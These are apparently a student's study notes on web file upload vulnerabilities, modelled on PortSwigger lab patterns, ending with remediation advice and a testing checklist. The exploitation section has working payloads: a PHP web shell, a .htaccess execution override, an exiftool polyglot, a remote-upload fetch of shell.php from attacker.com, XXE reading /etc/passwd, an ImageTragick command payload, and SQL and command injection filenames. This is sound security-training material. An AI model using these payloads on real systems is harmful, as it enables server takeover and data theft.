

File Upload Vulnerabilities

Study Notes

Eyad Islam Eltaher

July 10, 2026

Contents

1	Introduction	3
2	Where File Upload Vulnerabilities Can Be Found	3
3	When to Search for File Upload Vulnerabilities	4
4	Effects and Impact	4
5	How to Identify and Test for File Upload Vulnerabilities	5
5.1	Reconnaissance	5
5.2	Baseline request	5
5.3	What to test, systematically	6
6	Exploitation	6
6.1	Unrestricted upload – deploying a web shell	6
6.2	Bypassing flawed file type validation	7
6.3	Insufficient extension blacklisting	7
6.4	Bypassing content-based validation	9
6.5	Exploiting file upload race conditions	9
6.6	Exploitation without remote code execution	10
6.7	Uploading files via PUT	10
7	Remediation and Prevention	10
8	Testing Methodology and Checklist	11
8.1	Methodology overview	11
8.2	Checklist	12

1 Introduction

A file upload vulnerability exists whenever a web application lets a user submit a file to the server without properly checking its name, extension, content type, contents, or size. Almost every modern application has some kind of upload feature: profile pictures, CVs, invoices, chat attachments, CSV imports, and so on. Each of these is a potential entry point for an attacker, because an upload feature is really giving an untrusted party the ability to place data – and sometimes code – onto the server’s filesystem.

The core idea behind this vulnerability class is simple: if the server can be tricked into storing a file it should not have accepted, and later that file is executed or interpreted rather than treated as inert data, the attacker gains some level of control over the server. In the worst case this means full remote code execution through a web shell; in milder cases it can still lead to stored cross-site scripting, denial of service, information disclosure, or overwriting of existing files.

It is rare nowadays to find an upload form with absolutely no validation at all. What is common, however, is validation that developers believe is solid but that can be bypassed – for example, checking only the **Content-Type** header sent by the browser, or blacklisting a handful of dangerous extensions while forgetting less common ones. This makes file upload testing less about “is there a filter” and more about “how good is the filter, and does every layer of the stack agree on what was uploaded.”

A file upload bug is rarely a single flaw. It is usually a chain: a validation gap on the client or server, combined with a server configuration that will execute the uploaded file type, combined with the attacker being able to reach the file afterwards. Testing should target every link in that chain.

2 Where File Upload Vulnerabilities Can Be Found

File upload functionality appears almost anywhere an application accepts binary or user-generated content. Typical locations to look for it include:

- **Profile / avatar pictures** – classic image upload forms.
- **Document management** – CV/resume uploads, ID verification, invoice or receipt uploads, KYC portals.
- **Content management systems** – media libraries, theme/plugin upload panels (admin areas are especially valuable targets).
- **Import/export features** – CSV, XML, JSON, or Excel import functions used to bulk-load data.
- **Chat, ticketing, and support systems** – file attachments in messages or support tickets.
- **API endpoints** – mobile app backends and REST/GraphQL APIs frequently expose raw upload endpoints (`/api/upload`, `/api/v1/files`) that receive far less scrutiny than the web UI.
- **Collaboration and office suites** – anything that converts or previews uploaded documents (PDF, DOCX, XLSX) is a candidate for parser-level bugs such as XXE.
- **Any endpoint that supports PUT** – some web servers accept file creation directly through the HTTP PUT method, which may not be linked from the UI at all.

- **URL-based / remote uploads** – “upload by URL” or “import from link” features, where the server fetches a resource on the attacker’s behalf.

Do not limit the search to obvious “Choose File” buttons. Reverse proxies, CDNs, and load balancers in front of the real application server may route uploads to different backend hosts with different (and sometimes weaker) configurations, as noted by PortSwigger. Always check whether the endpoint that accepts the upload and the endpoint that serves the uploaded file are handled by the same component.

3 When to Search for File Upload Vulnerabilities

You should specifically prioritize testing for file upload issues when you observe any of the following during reconnaissance:

- An HTML form or API request contains an `<input type="file">` element, or a request uses `multipart/form-data` encoding.
- The application lets users upload avatars, documents, media, or any binary content, particularly in authenticated areas or admin panels.
- There is a “download later” flow, where the file you upload is later retrieved by you or by another user – this hints the file is stored and served back, which is required for most exploitation paths.
- The application previews or processes files server-side (thumbnail generation, PDF-to-image conversion, virus scanning, metadata extraction) – this is a strong signal for parser-based attacks (ImageMagick, FFmpeg, XXE, etc.).
- You can control the filename, MIME type, or extension of what you send, even loosely.
- The response after upload discloses where the file was stored (a direct URL, a path, or an ID that maps predictably to a path).
- `OPTIONS` requests against a directory or endpoint reveal support for the `PUT` method.
- The target technology stack is known to have historical parser CVEs (ImageMagick, FFmpeg, exiftool-adjacent workflows) – worth testing even if basic upload validation looks solid.

In short: test file upload whenever user-controlled binary data crosses the trust boundary into server storage, and prioritize it higher when that data is later served back to any user or processed by a server-side library.

4 Effects and Impact

The severity of a file upload vulnerability depends on two things, as highlighted by PortSwigger: which property of the file the application fails to validate (name, type, contents, size), and what restrictions apply to the file once it has been stored.

- **Remote code execution (RCE):** the most severe outcome. If the file type is not validated correctly and the server is configured to execute that type (for example `.php` or `.jsp`), an attacker can upload a web shell and gain full command execution on the server.
- **Full server compromise:** once code execution is achieved, an attacker can read and write arbitrary files, exfiltrate secrets and databases, pivot to internal infrastructure, and attack other systems from inside the network.

- **Stored cross-site scripting (XSS):** even without RCE, uploading an HTML or SVG file containing a `<script>` tag can lead to persistent XSS if that file is later served from the same origin.
- **File overwrite:** if the filename is not validated, an attacker may overwrite existing files with the same name, and combined with path traversal this can extend to arbitrary locations on disk.
- **Denial of service:** unrestricted file size or unlimited upload volume can exhaust disk space or memory, especially through decompression bombs or repeated large uploads.
- **Information disclosure:** misconfigured servers may serve the raw source code of scripts they are not configured to execute, or parser bugs (like the ImageMagick/FFmpeg CVEs) may leak local file contents.
- **XXE and other parser-level attacks:** document formats such as `.docx`, `.xlsx`, and `.svg` are XML-based; if the server parses them without hardening, this opens the door to XML external entity (XXE) injection.

5 How to Identify and Test for File Upload Vulnerabilities

5.1 Reconnaissance

- Locate every upload form/endpoint and capture the exact request in Burp Proxy or Repeater.
- Identify the underlying stack: server (Apache/Nginx/IIS), backend language (PHP/ASP/JSP/Node), and any image/document processing library in use.
- Determine where the uploaded file ends up: is it linked back directly, does the response leak a path, or must the path be guessed/brute-forced?
- Send an OPTIONS request to check whether PUT is supported on the endpoint.

5.2 Baseline request

Capture a normal, legitimate upload first. A typical multipart upload request looks like this:

```
POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary
=-----012345678901234567890123456

-----012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg

[...binary content of example.jpg...]
-----012345678901234567890123456
Content-Disposition: form-data; name="username"

wiener
-----012345678901234567890123456--
```

Note the three things you will manipulate during testing: the `filename` value, the part-specific `Content-Type` header, and the file body itself.

5.3 What to test, systematically

1. **Extension enforcement:** does the server accept extensions outside the expected whitelist? Try the target's dangerous extension directly (`.php`), then variations (see Section 6).
2. **Content-Type trust:** change only the part's **Content-Type** header to an allowed value (e.g. `image/jpeg`) while keeping a disallowed extension/body, and see if that alone bypasses validation.
3. **Content validation:** does the server actually inspect the bytes (magic numbers, dimensions via `getimagesize()`, etc.), or does it trust the extension/header blindly?
4. **Storage location and execution config:** if a script does get stored, is it saved in a directory that the web server is configured to execute? Try requesting it directly.
5. **Race conditions:** if the app appears to scan/validate after storing the file (e.g. anti-virus checks), try requesting the file repeatedly in a tight loop immediately after upload, before it is removed.
6. **Filename-based injection:** test the filename field itself for path traversal, SQL injection, command injection, or XSS payloads, since the filename is often used elsewhere (database records, shell commands, HTML pages) without further sanitization.
7. **Parser-specific bugs:** if the server processes the image/document (resize, convert, extract metadata), test known CVEs for the relevant library (ImageMagick, FFmpeg, etc.).
8. **PUT method support:** try uploading directly with PUT if OPTIONS indicates it is allowed.

Automated helpers exist for this workflow: Burp's *Upload Scanner* extension, the OWASP ZAP *FileUpload* add-on, and the standalone tool **fuXploit** can all speed up systematic testing, but manual verification with Repeater is still essential to confirm real exploitability.

6 Exploitation

This section walks through the main exploitation techniques, following the same structure PortSwigger uses in its Web Security Academy labs, with the request format shown for each.

6.1 Unrestricted upload – deploying a web shell

If the application performs no meaningful validation at all and the server executes the uploaded file type, you can upload a web shell directly.

Lab pattern: unrestricted file upload

Upload a PHP file with a web shell payload as if it were an image, using the normal upload form:

```
POST /my-account/avatar HTTP/1.1
Host: vulnerable-website.com
Content-Length: 217
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

-----WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg

<?php echo system($_GET['command']); ?>
```

```
-----WebKitFormBoundary--
```

Then browse to the stored file and pass a command through the query string:

```
GET /files/avatars/shell.php?command=id HTTP/1.1
Host: vulnerable-website.com
```

The response contains the output of the `id` command, confirming remote code execution. A simpler one-liner is also useful for reading arbitrary files:

```
<?php echo file_get_contents('/path/to/target/file'); ?>
```

6.2 Bypassing flawed file type validation

Many applications only check the part-specific **Content-Type** header in the multipart body, trusting it implicitly. Since this header is entirely attacker-controlled, changing it in Burp Repeater is often enough:

```
POST /my-account/avatar HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=-----WebKitFormBoundary

-----WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg

<?php echo system($_GET['command']); ?>
-----WebKitFormBoundary--
```

Here the extension is still `.php`, but the declared **Content-Type** claims `image/jpeg`. If the server only checks this header and not the real bytes or extension mapping, the upload succeeds and the file may still be executed when requested.

6.3 Insufficient extension blacklisting

Blacklists are inherently incomplete. `PayloadsAllTheThings` lists many alternative executable extensions worth trying when `.php` itself is blocked, for example: `.php3`, `.php4`, `.php5`, `.php7`, `.pht`, `.phtml`, `.phar`, `.phpt`, `.pgif`, and `.inc` for PHP stacks, or `.asa`, `.cer`, `.config`, `.asax` for older IIS/ASP stacks.

Overriding server configuration. If you can upload a malicious `.htaccess` file into an Apache-served directory, you can map an arbitrary extension to an executable MIME type:

```
AddType application/x-httpd-php .rce
```

Any file subsequently uploaded with a `.rce` extension will then be executed as PHP by that directory.

Lab pattern: overriding server config via a malicious `.htaccess` file

Step 1 – upload the `.htaccess` file itself through the normal upload form, disguised with an allowed-looking name or content type:

```
POST /my-account/avatar HTTP/1.1
Host: vulnerable-website.com
Content-Length: 197
Content-Type: multipart/form-data; boundary=-----WebKitFormBoundary
```

```
-----WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .rce
-----WebKitFormBoundary--
```

This succeeds if the application only checks the extension of the *payload* files it expects (images, PDFs, etc.) and never anticipated a configuration file being uploaded at all – `.htaccess` has no extension for a blacklist to catch, and its content is plain text, so content-based checks looking for image signatures will not flag it either.

Step 2 – once `.htaccess` is sitting in the same directory as the uploaded files, upload the actual payload with the newly mapped extension:

```
POST /my-account/avatar HTTP/1.1
Host: vulnerable-website.com
Content-Length: 214
Content-Type: multipart/form-data; boundary=-----WebKitFormBoundary

-----WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="exploit.rce"
Content-Type: image/jpeg

<?php echo system($_GET['command']); ?>
-----WebKitFormBoundary--
```

The extension `.rce` means nothing to the blacklist, so the file is accepted. But because of the directive planted in step 1, Apache now treats any `.rce` file in that directory as PHP. Step 3 – request the uploaded file directly to trigger execution:

```
GET /files/avatars/exploit.rce?command=id HTTP/1.1
Host: vulnerable-website.com
```

The response returns the output of `id`, confirming that the “image” is actually being executed as a PHP script – full remote code execution achieved purely through a configuration-file upload, with no need to smuggle a dangerous extension past the blacklist at all.

Obfuscating the extension. Common bypass patterns include:

- Case manipulation: `exploit.pHp`
- Double / reversed-double extensions: `exploit.php.jpg` or `exploit.jpg.php`
- Trailing characters that get stripped server-side: `exploit.php.`, `exploit.php%20`, `exploit.php....`
- Null byte injection (older stacks): `exploit.php%00.jpg` or `exploit.php\x00.jpg`
- URL-encoded or double URL-encoded dots/slashes: `exploit%2Ephp`
- Semicolons before the extension (legacy Java/ASP stacks): `exploit.asp;.jpg`
- Multibyte Unicode sequences that normalize down to `.` or null bytes
- Recursive-stripping bypass: if the server strips `.php` only once, `exploit.p.phpphp` becomes `exploit.php` after a single pass

Lab pattern: blacklist bypass via obfuscated extension

Fuzz the filename extension while keeping the payload constant:

```
POST /my-account/avatar HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

-----WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="exploit.php5"
Content-Type: image/jpeg

<?php echo system($_GET['command']); ?>
-----WebKitFormBoundary--
```

If `.php` is blacklisted but `.php5` is not, and the server is configured to hand `.php5` to the PHP interpreter, the shell still executes when requested at `/files/avatars/exploit.php5?command=id`.

6.4 Bypassing content-based validation

Stronger validation checks the actual bytes: image dimensions via functions like `getimagesize()`, or a signature/magic-number check (JPEG files always start with `FF D8 FF`).

Polyglot files. Tools such as `exiftool` can embed a payload inside a file's metadata while keeping it a structurally valid image:

```
exiftool -Comment="<?php echo 'Command: '; if($_POST){system($_POST['cmd']);}
__halt_compiler();" img.jpg
```

The `__halt_compiler();` call stops the PHP parser from choking on the remaining binary image data, letting the file behave both as a valid JPEG and as valid PHP.

Lab pattern: bypassing validation of file contents (polyglot)

Upload the crafted polyglot JPEG through the normal form, then combine it with a separate bypass (such as a `.htaccess` override, or renaming/serving via a path that is handled by the PHP interpreter) so the image file is ultimately interpreted as executable code by the server. The image passes dimension/signature checks because it is a genuinely valid JPEG, while still carrying a PHP payload in its metadata.

6.5 Exploiting file upload race conditions

If a website uploads a file directly into its permanent location and only deletes it afterwards should validation fail (for example, after an antivirus scan), there is a short window during which the file exists and can be executed. Repeatedly requesting the expected file path (in a loop, ideally sent in parallel via Burp's Turbo Intruder or Repeater's parallel requests) immediately after submitting the upload can catch that window.

For URL-based uploads, the same idea applies to the temporary storage location: if the temporary directory name is generated with a predictable or brute-forceable scheme (such as PHP's `uniqid()`), an attacker may guess it before validation completes. Sending a large file so it is processed in chunks can widen this race window, since the malicious payload can be placed at the start of the file followed by padding.

Lab pattern: race condition in a validate-after-store workflow

Step 1 – upload the web shell exactly as you normally would; the request itself looks unremarkable, because the server will accept it first and only validate/scan afterwards:

```
POST /my-account/avatar HTTP/1.1
Host: vulnerable-website.com
Content-Length: 210
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

-----WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg

<?php echo system($_GET['command']); ?>
-----WebKitFormBoundary--
```

Step 2 – in parallel with (or immediately after) sending the upload, fire a burst of requests at the predicted storage path, using Burp's Turbo Intruder or Repeater's "send group in parallel" feature so the requests land within the same few milliseconds the file exists on disk before any antivirus/validation check deletes it:

```
GET /files/avatars/shell.php?command=id HTTP/1.1
Host: vulnerable-website.com
```

If even one of these requests lands inside the window between the file being written and being removed, the server executes it and returns the output of `id`. Repeating the request many times in parallel is what makes a race condition that only exists for a few milliseconds practically exploitable.

Lab pattern: race condition in a URL-based (remote) upload

Step 1 – submit a URL for the server to fetch and store, rather than uploading the file directly:

```
POST /my-account/avatar/upload-from-url HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

url=http://attacker.com/shell.php&filename=shell.php
```

While the server is fetching `attacker.com/shell.php`, it typically writes the response into a temporary directory with a randomized name before validating it. If that name is generated with a weak scheme such as `uniqid()` (which is time-seeded and therefore brute-forceable), an attacker can enumerate likely temporary paths while the fetch/validation is still in progress:

```
GET /tmp/uploads/<guessed-uniqid-value>/shell.php?command=id HTTP/1.1
Host: vulnerable-website.com
```

Making `attacker.com/shell.php` respond slowly, or padding the payload with a large amount of junk data after the PHP code, keeps the file in transit longer and widens the window available for guessing the temporary path before it is validated and either moved or deleted.

6.6 Exploitation without remote code execution

Stored XSS via HTML/SVG. If the application allows uploading HTML or SVG files and later serves them from the same origin, a script tag inside the file executes in the context of any user who views it:

```
POST /upload/attachment HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

-----WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="exploit.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg>
-----WebKitFormBoundary--
```

Filename-based injection. The filename itself is frequently trusted and reused elsewhere (in a database record, an HTML page listing uploads, or a shell command), so it is worth testing on its own:

- Path traversal: `image.png../../../../../../../../etc/passwd`
- Stored XSS via filename: `'"><img src=x onerror=alert(document.domain)>.jpg`
- Time-based SQL injection: `poc.js'(select*from(select(sleep(20)))a)+' .jpg`
- OS command injection: `file_name; sleep 10;.jpg`

Parser-level attacks. If uploaded Office documents (`.docx`, `.xlsx`) or other XML-based formats are parsed server-side, this is a potential vector for XXE injection. If images are processed by libraries such as ImageMagick or Ffmpeg, historical CVEs (for example the ImageTragick family) can allow command execution or arbitrary file read through crafted image/video containers.

Lab pattern: XXE via an uploaded XML-based document

A `.docx` file is really a ZIP archive of XML parts. Replacing one of those XML parts (for example `word/document.xml` or, more simply, an uploaded raw `.svg`, which is XML natively) with a document that declares an external entity is often enough if the parser resolves entities by default:

```
POST /documents/upload HTTP/1.1
Host: vulnerable-website.com
Content-Length: 236
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

-----WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="exploit.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
-----WebKitFormBoundary--
```

If the server renders or otherwise processes this SVG server-side (for example to gener-

ate a thumbnail) and echoes or stores the result, the resolved entity leaks the contents of `/etc/passwd` into the output – confirming out-of-the-box XXE through what looks like an ordinary image upload.

Lab pattern: ImageTragick (CVE-2016-3714) via a crafted image upload

Upload a file with an image extension whose content is actually an ImageMagick MVG/MSL command file rather than real image data:

```
POST /my-account/avatar HTTP/1.1
Host: vulnerable-website.com
Content-Length: 190
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

-----WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="exploit.jpg"
Content-Type: image/jpeg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.jpg)|touch /tmp/pwned)'
pop graphic-context
-----WebKitFormBoundary--
```

If the backend later runs the uploaded file through ImageMagick to resize or convert it (for example `convert exploit.jpg thumbnail.png`), the vulnerable `fill` handler passes the embedded shell command to a pipe, and `/tmp/pwned` is created on the server – confirming remote code execution purely through server-side image processing, without needing to bypass any extension or content-type filter at all.

6.7 Uploading files via PUT

Some servers accept file creation directly through the PUT method, which may provide an upload path that bypasses the web UI entirely:

```
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>
```

Send an OPTIONS request to an endpoint first to check whether it advertises support for PUT.

7 Remediation and Prevention

- **Whitelist, don't blacklist.** Validate the file extension against a strict whitelist of permitted types rather than trying to enumerate every dangerous one.
- **Validate real content, not just headers.** Verify magic bytes, actual image dimensions, or use a well-tested library to confirm the file genuinely matches its claimed type – never trust the client-supplied `Content-Type` header alone.
- **Rename uploaded files.** Generate a new, random filename and store the original name separately (if needed for display) so that filenames can never inject path traversal, malicious extensions, or command/SQL payloads.

- **Reject path traversal sequences in filenames**, including encoded variants (`../`, `..%2F`, etc.).
- **Store uploads outside the webroot** or in a location where the web server is explicitly configured *not* to execute any script type, and serve files back through a controlled download handler rather than direct static serving.
- **Disable execution permissions on upload directories** and, where possible, disable script interpreters entirely for that path (no `.htaccess` overrides, no per-directory config allowed).
- **Validate before permanent storage**. Never write the file to its final destination until validation is complete, to avoid race-condition windows – validate in a sandboxed temporary location with a randomized name first.
- **Set and enforce file size limits** to reduce the risk of disk-exhaustion denial-of-service.
- **Harden or disable dangerous parser features**. Disable vulnerable coders/policies in ImageMagick's `policy.xml`, keep libraries such as ImageMagick, FFmpeg, and Office parsers patched, and disable external entity resolution when parsing any XML-based upload (docx, xlsx, svg).
- **Serve user-uploaded content from a separate origin** (or with a strict `Content-Disposition: attachment` and a locked-down Content Security Policy) so that even if an HTML/SVG file is stored, it cannot execute a script in the main application's origin.
- **Prefer an established framework's upload handling** over writing custom validation logic; frameworks generally already implement sandboxed temporary storage, randomized naming, and safer defaults.

8 Testing Methodology and Checklist

8.1 Methodology overview

1. Map every upload entry point (web forms, hidden API endpoints, admin panels, import features, PUT-enabled paths).
2. Capture a legitimate baseline request for each entry point.
3. Fingerprint the stack: server, language, and any processing library involved.
4. Determine how/where the file is served back (direct URL, predictable path, requires further action).
5. Systematically vary: extension, part `Content-Type`, magic bytes, filename content, and file size.
6. Attempt to reach and execute the stored file directly.
7. If direct execution fails, pivot to non-RCE impacts (stored XSS, XXE, parser CVEs, filename injection).
8. Retest after any WAF/validation bypass is found, to confirm real end-to-end impact (not just an accepted upload).

8.2 Checklist

Check	
☐	Identify all file upload entry points, including API-only and admin-only ones
☐	Determine the storage location and whether it is directly web-accessible
☐	Test uploading the target's native dangerous extension directly (<code>.php</code> , <code>.jsp</code> , <code>.asp</code> , etc.)
☐	Test alternative/lesser-known executable extensions (<code>.phtml</code> , <code>.pht</code> , <code>.phar</code> , <code>.asa</code> , <code>.cer</code> , ...)
☐	Test double extensions and reversed double extensions
☐	Test case manipulation (<code>.pHp</code>)
☐	Test null byte and encoded null byte injection
☐	Test trailing dots, spaces, and semicolons
☐	Test URL-encoded / double-encoded traversal and dot characters
☐	Change only the part Content-Type header while keeping a disallowed extension
☐	Check whether magic bytes / dimensions are actually validated
☐	Attempt a polyglot file (valid image + embedded payload via metadata)
☐	Test uploading a malicious <code>.htaccess</code> / <code>web.config</code> / <code>uwsgi.ini</code> where relevant
☐	Test for race conditions around validate-then-delete workflows
☐	Test filename field for path traversal, XSS, SQLi, and command injection payloads
☐	Test HTML/SVG upload for stored XSS if served from the same origin
☐	Test XML-based document formats for XXE if parsed server-side
☐	Check for known CVEs in any image/video processing library used
☐	Send OPTIONS to check for PUT support, then attempt direct PUT upload
☐	Confirm real impact by requesting and executing the uploaded file, not just observing "upload successful"
